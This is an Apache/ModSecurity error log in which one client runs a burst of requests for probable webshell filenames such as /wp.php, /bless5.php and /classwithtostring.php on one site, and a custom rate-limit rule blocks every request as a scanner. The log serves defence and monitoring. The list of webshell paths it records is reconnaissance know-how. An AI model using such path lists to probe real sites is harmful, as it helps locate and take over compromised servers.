[Tue Nov 25 20:02:34.375170 2025] [:error] [pid 2987:tid 2991] [client 20.196.125.130:30678] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSWa2s-djEt-pTzPxnypowAAAUI"]
[Tue Nov 25 20:02:34.943391 2025] [:error] [pid 2987:tid 3011] [client 20.196.125.130:30673] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSWa2s-djEt-pTzPxnyppQAAAVY"]
[Tue Nov 25 20:02:35.296256 2025] [:error] [pid 14077:tid 14130] [client 20.196.125.130:30685] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aSWa2xG9n7UHEkwDTyifjQAAAFQ"]
[Tue Nov 25 20:02:35.842651 2025] [:error] [pid 14077:tid 14132] [client 20.196.125.130:30659] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aSWa2xG9n7UHEkwDTyifjwAAAFY"]
[Tue Nov 25 20:02:36.694627 2025] [:error] [pid 14077:tid 14115] [client 20.196.125.130:30594] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aSWa3BG9n7UHEkwDTyifkQAAAEU"]
[Tue Nov 25 20:02:37.074274 2025] [:error] [pid 14078:tid 14138] [client 20.196.125.130:30671] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aSWa3dVXYbb0ii_rVoJNjQAAAIE"]
[Tue Nov 25 20:02:37.840309 2025] [:error] [pid 14077:tid 14116] [client 20.196.125.130:30609] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aSWa3RG9n7UHEkwDTyifkgAAAEY"]
[Tue Nov 25 20:02:38.353053 2025] [:error] [pid 14077:tid 14128] [client 20.196.125.130:30697] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aSWa3hG9n7UHEkwDTyiflgAAAFI"]
[Tue Nov 25 20:02:38.806873 2025] [:error] [pid 14077:tid 14112] [client 20.196.125.130:30693] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aSWa3hG9n7UHEkwDTyifmQAAAEI"]
[Tue Nov 25 20:02:39.266631 2025] [:error] [pid 2987:tid 2990] [client 20.196.125.130:30666] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aSWa38-djEt-pTzPxnypqgAAAUE"]
[Tue Nov 25 20:02:39.840033 2025] [:error] [pid 14077:tid 14129] [client 20.196.125.130:30607] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aSWa3xG9n7UHEkwDTyifngAAAFM"]
[Tue Nov 25 20:02:40.328491 2025] [:error] [pid 14078:tid 14160] [client 20.196.125.130:30689] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aSWa4NVXYbb0ii_rVoJNkAAAAJc"]
[Tue Nov 25 20:02:41.059080 2025] [:error] [pid 14078:tid 14159] [client 20.196.125.130:30696] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aSWa4dVXYbb0ii_rVoJNlAAAAJY"]
[Tue Nov 25 20:02:42.120413 2025] [:error] [pid 14077:tid 14131] [client 20.196.125.130:30600] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aSWa4hG9n7UHEkwDTyifrAAAAFU"]
[Tue Nov 25 20:02:42.712967 2025] [:error] [pid 28609:tid 28638] [client 20.196.125.130:30648] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aSWa4iGGdT-nZJVs3x3KXgAAAZQ"]
[Tue Nov 25 20:02:43.169700 2025] [:error] [pid 14077:tid 14133] [client 20.196.125.130:30622] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aSWa4xG9n7UHEkwDTyifugAAAFc"]
[Tue Nov 25 20:02:43.834831 2025] [:error] [pid 14168:tid 14174] [client 20.196.125.130:30595] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aSWa4_R-ZDU0QEgAIIttIwAAAMM"]
[Tue Nov 25 20:02:44.309084 2025] [:error] [pid 28836:tid 29009] [client 20.196.125.130:30676] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aSWa5JwNRsoxcLQGkTfJqQAAAtM"]
[Tue Nov 25 20:02:44.762185 2025] [:error] [pid 28739:tid 28773] [client 20.196.125.130:30712] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aSWa5BxGpKmlkG4FexSBjgAAAgs"]
[Tue Nov 25 20:02:45.199794 2025] [:error] [pid 28842:tid 28993] [client 20.196.125.130:30672] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/luxe.php"] [unique_id "aSWa5dNmoaPf6T4-6C2dPwAAA0M"]
[Tue Nov 25 20:02:45.723776 2025] [:error] [pid 14168:tid 14186] [client 20.196.125.130:30694] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/luxe.php"] [unique_id "aSWa5fR-ZDU0QEgAIIttJQAAAM8"]
[Tue Nov 25 20:02:46.132683 2025] [:error] [pid 14078:tid 14142] [client 20.196.125.130:30653] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/luxe.php"] [unique_id "aSWa5tVXYbb0ii_rVoJNogAAAIU"]
[Tue Nov 25 20:02:46.889774 2025] [:error] [pid 28740:tid 28805] [client 20.196.125.130:30677] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/luxe.php"] [unique_id "aSWa5lppQCoYxWW6V0WLigAAAk4"]
[Tue Nov 25 20:02:47.389101 2025] [:error] [pid 28842:tid 29001] [client 20.196.125.130:30710] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSWa59NmoaPf6T4-6C2dQwAAA0s"]
[Tue Nov 25 20:02:47.922335 2025] [:error] [pid 14077:tid 14117] [client 20.196.125.130:30682] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSWa5xG9n7UHEkwDTyifwQAAAEc"]
[Tue Nov 25 20:02:48.757848 2025] [:error] [pid 28609:tid 28642] [client 20.196.125.130:30699] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSWa6CGGdT-nZJVs3x3KdQAAAZg"]
[Tue Nov 25 20:02:49.103676 2025] [:error] [pid 28842:tid 29004] [client 20.196.125.130:30661] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aSWa6dNmoaPf6T4-6C2dTQAAA04"]
[Tue Nov 25 20:02:49.558702 2025] [:error] [pid 28842:tid 29001] [client 20.196.125.130:30605] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aSWa6dNmoaPf6T4-6C2dUQAAA0s"]
[Tue Nov 25 20:02:49.968506 2025] [:error] [pid 28842:tid 28994] [client 20.196.125.130:30610] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aSWa6dNmoaPf6T4-6C2dVAAAA0Q"]
[Tue Nov 25 20:02:50.373749 2025] [:error] [pid 14168:tid 14180] [client 20.196.125.130:30702] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aSWa6vR-ZDU0QEgAIIttOAAAAMk"]
[Tue Nov 25 20:02:50.786412 2025] [:error] [pid 14168:tid 14186] [client 20.196.125.130:30632] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aSWa6vR-ZDU0QEgAIIttOQAAAM8"]
[Tue Nov 25 20:02:51.157275 2025] [:error] [pid 28842:tid 29002] [client 20.196.125.130:30664] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aSWa69NmoaPf6T4-6C2dWAAAA0w"]
[Tue Nov 25 20:02:51.842122 2025] [:error] [pid 28740:tid 28808] [client 20.196.125.130:30700] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aSWa61ppQCoYxWW6V0WLmAAAAlE"]
[Tue Nov 25 20:02:52.220328 2025] [:error] [pid 28739:tid 28767] [client 20.196.125.130:30719] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aSWa7BxGpKmlkG4FexSBrwAAAgU"]
[Tue Nov 25 20:02:52.863565 2025] [:error] [pid 14168:tid 14192] [client 20.196.125.130:30695] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an.php"] [unique_id "aSWa7PR-ZDU0QEgAIIttOwAAANU"]
[Tue Nov 25 20:02:53.455421 2025] [:error] [pid 2987:tid 2989] [client 20.196.125.130:30656] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aSWa7c-djEt-pTzPxnypxQAAAUA"]
[Tue Nov 25 20:02:54.210338 2025] [:error] [pid 14076:tid 14092] [client 20.196.125.130:30680] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aSWa7nsB4Gz6Qw-pvBsdqgAAAAs"]
[Tue Nov 25 20:02:54.742267 2025] [:error] [pid 14078:tid 14150] [client 20.196.125.130:30690] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aSWa7tVXYbb0ii_rVoJNrQAAAI0"]
[Tue Nov 25 20:02:55.526425 2025] [:error] [pid 14076:tid 14096] [client 20.196.125.130:30703] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aSWa73sB4Gz6Qw-pvBsdqwAAAA8"]
[Tue Nov 25 20:02:55.878500 2025] [:error] [pid 14078:tid 14141] [client 20.196.125.130:30688] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aSWa79VXYbb0ii_rVoJNrwAAAIQ"]
[Tue Nov 25 20:02:56.465402 2025] [:error] [pid 14168:tid 14171] [client 20.196.125.130:30660] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aSWa8PR-ZDU0QEgAIIttQAAAAMA"]
[Tue Nov 25 20:02:57.168322 2025] [:error] [pid 14076:tid 14105] [client 20.196.125.130:30619] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aSWa8XsB4Gz6Qw-pvBsdrQAAABg"]
[Tue Nov 25 20:02:57.735219 2025] [:error] [pid 14076:tid 14090] [client 20.196.125.130:30614] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aSWa8XsB4Gz6Qw-pvBsdrgAAAAk"]
[Tue Nov 25 20:02:58.328213 2025] [:error] [pid 28740:tid 28810] [client 20.196.125.130:30669] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aSWa8lppQCoYxWW6V0WLoQAAAlM"]
[Tue Nov 25 20:02:58.738232 2025] [:error] [pid 28842:tid 29021] [client 20.196.125.130:30597] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aSWa8tNmoaPf6T4-6C2dXQAAA1M"]
[Tue Nov 25 20:02:59.175829 2025] [:error] [pid 28739:tid 28781] [client 20.196.125.130:30681] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aSWa8xxGpKmlkG4FexSBtAAAAhM"]
[Tue Nov 25 20:02:59.840445 2025] [:error] [pid 28739:tid 28778] [client 20.196.125.130:30617] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1.php"] [unique_id "aSWa8xxGpKmlkG4FexSBtQAAAhA"]
[Tue Nov 25 20:03:00.863798 2025] [:error] [pid 14076:tid 14087] [client 20.196.125.130:30621] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aSWa9HsB4Gz6Qw-pvBsdsgAAAAY"]
[Tue Nov 25 20:03:01.277845 2025] [:error] [pid 14168:tid 14184] [client 20.196.125.130:30683] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aSWa9fR-ZDU0QEgAIIttRQAAAM0"]
[Tue Nov 25 20:03:01.864869 2025] [:error] [pid 14078:tid 14148] [client 20.196.125.130:30704] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aSWa9dVXYbb0ii_rVoJNswAAAIs"]
[Tue Nov 25 20:03:02.669867 2025] [:error] [pid 14077:tid 14133] [client 20.196.125.130:30613] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abc.php"] [unique_id "aSWa9hG9n7UHEkwDTyif5QAAAFc"]
[Tue Nov 25 20:03:03.128684 2025] [:error] [pid 14078:tid 14157] [client 20.196.125.130:30628] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aSWa99VXYbb0ii_rVoJNtQAAAJQ"]
[Tue Nov 25 20:03:03.904720 2025] [:error] [pid 28836:tid 28986] [client 20.196.125.130:30668] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aSWa95wNRsoxcLQGkTfJ4wAAAs8"]
[Tue Nov 25 20:03:04.465971 2025] [:error] [pid 14076:tid 14100] [client 20.196.125.130:30647] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aSWa-HsB4Gz6Qw-pvBsdtgAAABM"]
[Tue Nov 25 20:03:04.824259 2025] [:error] [pid 14077:tid 14128] [client 20.196.125.130:30533] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/o.php"] [unique_id "aSWa-BG9n7UHEkwDTyif6QAAAFI"]
[Tue Nov 25 20:03:05.218271 2025] [:error] [pid 14077:tid 14119] [client 20.196.125.130:30596] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aSWa-RG9n7UHEkwDTyif7AAAAEk"]
[Tue Nov 25 20:03:05.983807 2025] [:error] [pid 28739:tid 28767] [client 20.196.125.130:30645] [client 20.196.125.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aSWa-RxGpKmlkG4FexSBuAAAAgU"]
